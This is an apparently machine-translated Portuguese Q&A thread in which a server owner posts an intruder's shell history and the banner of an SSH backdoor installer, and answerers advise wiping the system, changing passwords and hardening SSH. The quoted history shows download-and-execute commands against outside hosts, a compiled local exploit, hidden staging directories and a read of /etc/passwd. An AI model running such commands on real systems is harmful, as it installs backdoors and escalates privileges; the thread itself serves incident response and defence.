SSH Backdoor encontrado no VServer. O que fazer?

24

Ontem, verifiquei meu histórico de comandos no meu VServer. Encontrei várias linhas suspeitas.

  195  wget aridan.hol.es/sniffer.tgz
  196  tar xvf sniffer.tgz
  197  ls -a
  198  rm -rf sniffer.tgz
  199  rm -rf .sniff/
  200  cd /dev/shm
  201  ls -a
  202  mkdir " . "
  203  ls -a
  204  cd " . "/
  205  wget aridan.hol.es/sniffer.tgz
  206  tar xvf ar
  207  tar zxvf ar
  208  tar xvf sniffer.tgz
  209  cd .sniff/
  210  ls -a
  211  ./setup
  212  ls -a
  213  cd /var/tmp
  214  ls a-
  215  ls -a
  216  cd sy
  217  cd systemd-private-a5e12501dbc746eabcda29463d441b9e-openvpn\@server.servi                                                                             ce-HJ201p/
  218  ls -a
  219  pw
  220  pwd
  221  ls -a
  222  cd tmp/
  223  ls -a
  224  cd / .
  225  cd /dev/shm
  226  ls -a
  227  cd " . "/
  228  ls -a
  229  cd sniffer.tgz
  230  cd ..
  231  ls -a
  232  cd " . "/
  233  rm -rf sniffer.tgz
  234  cd .sniff/
  235  ls -a
  236  cd /var/tmp
  237  nproc
  238  w
  239  wget draqusor.hi2.ro/x; chmod +x *; ./x
  240  wget http://t1fix.com/local/ubuntu-2015.c; gcc ubuntu-2015.c -o ubuntu-20                                                                             15; chmod +x *; ./ubuntu-2015;
  241  id
  242  cd
  243  last
  244  cat /etc/passwd
  245  cd /dev/s
  246  cd /dev/shm/
  247  ls -a
  248  cd " . "/
  249  ls -a
  250  cd .sniff/
  251  ls -a
  252  nano se
  253  nano setup
  254  nano error_log
  255  nano error_log.2
  256  cat error_log.2
  257  ls -a
  258  nproc
  259  cd /var/tmp
  260  ls aรถ-
  261  ls -a
  262  rm -rf u*
  263  rm -rf x
  264  mkdir cache
  265  cd cache
  266  wget datafresh.org/md.tgz
  267  tat xvf md.tgz
  268  tar xvf md.tgz
  269  cd m
  270  cd d
  271  cd md
  272  ./a 5.196
  273  cat /proc/cpuinfo
  274  ./a 5.196
  275  ps -x
  276  cd /

Especialmente o sniffer.tgz me chocou. Configurei uma máquina virtual e baixei esse arquivo tgz. Comecei a instalação e isso me deu as seguintes linhas:

-----------------------------------------------------------------------------------
     #OLDTEAM SSHD BACKDOOR v1.2 - OpenSSH 3.6p1
                                  PRIVATE VERSION
-----------------------------------------------------------------------------------


 CHECKING THIS SYSTEM

# GCC:                   [ FOUND ]
# G++:                   [ FOUND ]
# MAKE:                  [ FOUND ]
# OPENSSL DEVEL:         [ NOT FOUND ]

NOW TRYING TO INSTALL OPENSSL DEVEL

Alguém sabe como remover isso?

itskajo
fonte

Respostas:

66

Isto é o que você deve fazer em todos os sistemas em que você está sniffer.tgzusando: Nuke Them From Orbit imediatamente e reinicie a partir de uma instalação limpa. (Ou seja, destrua o (s) sistema (s), reinstale e limpe, carregue dados de backups limpos - supondo que você tenha backups limpos e depois reforce o (s) sistema (s) antes de colocá-los novamente na Internet).

Sempre que houver malware ou hackers no seu sistema dessa maneira, é hora de reanalisar como o sistema está configurado e certifique-se de não repetir as mesmas etapas que eles seguiram. Mas, como esse pode não ser um sistema, você pode separar e analisar forensemente, e como esse pode ser o seu único servidor, é hora de destruir o sistema virtual e começar do zero (como eu disse acima).

(E isso se aplica a qualquer situação em que você obtenha malware no sistema. A menos que você tenha hardware sobressalente para substituir algo assim, para que você possa isolar e examinar forense o sistema violado, que geralmente a maioria dos usuários não possui, você não tem escolha, mas para destruir o sistema e começar de novo.)

Sem analisar seu servidor, não posso realmente dizer o que você fez de errado, mas é provável que esse backdoor seja mais profundo no sistema do que apenas um simples 'programa' que foi instalado. E, como os bandidos já instalaram um backdoor no seu sistema, você pode assumir que todas as suas senhas agora foram violadas e não são mais seguras (seja para SSH ou raiz do MySQL ou qualquer outro tipo de senha que já tenha foi inserido neste sistema de computador). Hora de mudar todas as suas senhas!


Depois de fazer o backup em um ambiente limpo, aqui estão algumas dicas básicas sobre as etapas de fortalecimento a serem consideradas. Observe que, como isso torna um tópico muito mais amplo, não posso realmente detalhar aqui, mas definitivamente é hora de executar algumas etapas de proteção para proteger seu sistema:

  1. Ligue um firewall e permita apenas o acesso às portas que precisam ser abertas . ufwexiste para ser simples, então vamos usar isso. sudo ufw enable. (A configuração ufwadequada para o seu ambiente é uma história diferente e vai além dos limites desta questão.)

  2. Restrinja o acesso ao SSH remoto . Isso nem sempre é possível, mas o ideal é identificar os endereços IP que pertencem a você e especificá-los na lista de permissões no firewall. (Se você estiver em um endereço IP residencial dinâmico, pule esta etapa).

  3. Bloqueie o acesso SSH ao seu servidor e exija o uso de chaves SSH apenas para autenticação . Dessa forma, os hackers não podem atacar seu servidor e tentar adivinhar senhas. É MUITO mais difícil adivinhar a chave privada adequada (porque você precisaria forçar todos eles), e isso ajuda a proteger contra ataques de força bruta.

  4. Se você estiver executando um site, certifique-se de bloquear as permissões para que as pessoas não possam fazer upload / executar as coisas à vontade . Como isso varia de site para site, não posso fornecer mais orientações aqui (é impossível fazer isso).

  5. Além disso, se você estiver executando um site usando Joomla ou Wordpress ou algo semelhante, mantenha o ambiente atualizado e atualizado com vulnerabilidades de segurança dos fornecedores de software .

  6. Sempre que possível, instale, configure e use métodos de autenticação de dois fatores (2FA) para itens com os quais você se autentica . Existem muitas soluções para autenticação de segundo fator para aplicativos diferentes, e proteger vários aplicativos dessa maneira está além do escopo desta publicação. Portanto, você deve fazer sua pesquisa sobre esse ponto antes de escolher uma solução.

  7. Se você absolutamente precisar usar senhas em sua configuração, use um gerenciador de senhas decente (os baseados na nuvem não são necessariamente boas escolhas) e use senhas aleatórias e memoráveis ​​de comprimento longo (25 ou mais caracteres), aleatórias, que são diferentes para cada item individual que está sendo protegido por senhas (daí a recomendação para o gerenciador de senhas). (No entanto, você deve considerar NÃO usar senhas sempre que possível (como para autenticação SSH) e usar 2FA sempre que possível).

Thomas Ward
fonte
Comentários não são para discussão prolongada; esta conversa foi movida para o bate-papo .
terdon
Aceitei a resposta, pois é isso que vou fazer. A menos que eu tente fechar o Backdoor na VM, apenas para meu interesse pessoal.
itskajo
0

Se houver um backdoor, existem mais 3. Isolar, fazer backup de dados, desmontá-los e restaurá-los com cuidado.Tenha cuidado com os dados de qualquer cron, php ou mesmo mysql, todos eles podem estar comprometidos. Lembre-se, neste ponto, eles têm todas as suas senhas e hashes; portanto, se outras máquinas configuradas da mesma forma, provavelmente também as invadiram ... A parte mais difícil é descobrir como elas entraram no início. Se você tem WordPress, procure malware em plugins / temas, etc ... Verifique suas permissões, você pode ter 777 em todos os lugares. Nenhuma resposta simples, você está procurando muito trabalho.

Tony Lester
fonte
Não há necessariamente mais de um, por mais frequente ou provável que seja, pode não ser o caso aqui. E eles podem não ter todas as suas senhas com certeza. Também não é "provável" que eles invadiram outras máquinas, você não conhece suas intenções nem o que foi farejado, ou se o programa ruim foi ativado além de estar presente ou executado de alguma maneira. E "restaurar cuidadosamente os dados" é um conselho muito geral para algo que requer ações muito meticulosas.
James